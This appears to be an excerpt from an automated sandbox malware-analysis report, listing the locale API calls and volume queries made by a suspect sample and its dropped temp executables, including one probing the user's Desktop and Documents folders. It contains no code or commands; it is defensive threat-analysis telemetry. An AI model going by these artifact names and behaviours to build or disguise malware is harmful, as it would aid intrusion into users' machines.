Source: C:\Windows\explorer.exe	Code function: _calloc_crt,_malloc_crt,free,_malloc_crt,free,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__free_lconv_mon,free,free,free,free,	5_2_0C5D8128
Source: C:\Windows\explorer.exe	Code function: _getptd,TranslateName,GetLocaleNameFromLangCountry,GetLocaleNameFromLanguage,TranslateName,GetLocaleNameFromLangCountry,ProcessCodePage,IsValidCodePage,GetLocaleInfoEx,GetLocaleInfoEx,GetLocaleInfoEx,_itow_s,GetLocaleNameFromLanguage,	5_2_0C5DA1F8
Source: C:\Windows\explorer.exe	Code function: _getptd,__lc_wcstolc,__get_qualified_locale,__lc_lctowcs,GetLocaleInfoEx,GetACP,	5_2_0C5D2ABC
Source: C:\Windows\explorer.exe	Code function: GetLocaleInfoEx,	5_2_0C5E0378
Source: C:\Windows\explorer.exe	Code function: _getptd,GetLocaleInfoEx,GetLocaleInfoEx,TestDefaultCountry,GetLocaleInfoEx,TestDefaultCountry,_getptd,GetLocaleInfoEx,	5_2_0C5D9BD4
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	16_2_00007FFEEE22FA48
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: GetProcAddress,GetLocaleInfoW,	16_2_00007FFEEE1DDC20
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	16_2_00007FFEEE22F8C0
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: GetPrimaryLen,EnumSystemLocalesW,	16_2_00007FFEEE22F478
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: EnterCriticalSection,EnumSystemLocalesW,LeaveCriticalSection,	16_2_00007FFEEE22D2E0
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: EnumSystemLocalesW,	16_2_00007FFEEE22F35C
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: GetPrimaryLen,EnumSystemLocalesW,	16_2_00007FFEEE22F3C4
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Code function: GetACP,IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	18_2_004F2516
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Code function: EnumSystemLocalesW,	18_2_004F27B8
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Code function: EnumSystemLocalesW,	18_2_004F2803
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Code function: EnumSystemLocalesW,	18_2_004F289E
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Code function: EnumSystemLocalesW,	18_2_004E88AC
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	18_2_004F2929
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Code function: GetLocaleInfoW,	18_2_004F2B7C
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	18_2_004F2CA2
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Code function: GetLocaleInfoW,	18_2_004E8DCE
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Code function: GetLocaleInfoW,	18_2_004F2DA8
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	18_2_004F2E77
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Code function: GetACP,IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	19_2_00342516
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Code function: EnumSystemLocalesW,	19_2_003427B8
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Code function: EnumSystemLocalesW,	19_2_00342803
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Code function: EnumSystemLocalesW,	19_2_003388AC
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Code function: EnumSystemLocalesW,	19_2_0034289E
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	19_2_00342929
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Code function: GetLocaleInfoW,	19_2_00342B7C
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	19_2_00342CA2
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Code function: GetLocaleInfoW,	19_2_00342DA8
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Code function: GetLocaleInfoW,	19_2_00338DCE
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	19_2_00342E77
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Code function: GetACP,IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	20_2_00342516
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Code function: EnumSystemLocalesW,	20_2_003427B8
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Code function: EnumSystemLocalesW,	20_2_00342803
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Code function: EnumSystemLocalesW,	20_2_003388AC
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Code function: EnumSystemLocalesW,	20_2_0034289E
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	20_2_00342929
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Code function: GetLocaleInfoW,	20_2_00342B7C
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	20_2_00342CA2
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Code function: GetLocaleInfoW,	20_2_00342DA8
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Code function: GetLocaleInfoW,	20_2_00338DCE
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	20_2_00342E77

Source: C:\Users\user\Desktop\mggoBrtk9t.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mggoBrtk9t.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\audiodg.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\ucrtbase.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\_ctypes.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-console-l1-1-0.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-datetime-l1-1-0.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-errorhandling-l1-1-0.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-file-l1-2-0.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-handle-l1-1-0.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-heap-l1-1-0.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-interlocked-l1-1-0.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-localization-l1-2-0.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-memory-l1-1-0.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-namedpipe-l1-1-0.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-processenvironment-l1-1-0.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-processthreads-l1-1-0.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-rtlsupport-l1-1-0.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-string-l1-1-0.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-sysinfo-l1-1-0.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-util-l1-1-0.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-crt-locale-l1-1-0.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-crt-math-l1-1-0.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-crt-process-l1-1-0.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-crt-stdio-l1-1-0.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\libffi-7.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15962 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\Desktop\FACWLRWHGG VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\Desktop\FENIVHOIKN VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\Desktop\HTAGVDFUIE VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\Desktop\ZSSZYEFYMU VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\Documents VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\Documents\PSAMNLJHZW VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Queries volume information: C:\Users\user\Videos VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
